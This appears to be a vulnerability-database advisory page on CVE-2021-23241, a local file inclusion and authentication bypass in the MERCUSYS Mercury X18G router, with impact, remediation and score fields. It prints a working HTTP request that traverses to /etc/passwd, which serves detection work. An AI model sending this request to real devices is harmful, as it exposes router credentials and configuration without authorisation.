🔙 목록으로 돌아가기

CVE-2021-23241: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion

TitleMERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
Authordaffainfo
SeverityMedium
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.
RemediationApply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
CVSS Score5.3
EPSS Score0.62713
CVE IDCVE-2021-23241
CWE IDCWE-22
Tags cve2021 cve iot lfi router mercusys vuln

🔍 Vulnerability Description

MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.

🌐 HTTP Request

GET /loginLess/../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-23241.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-23241.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A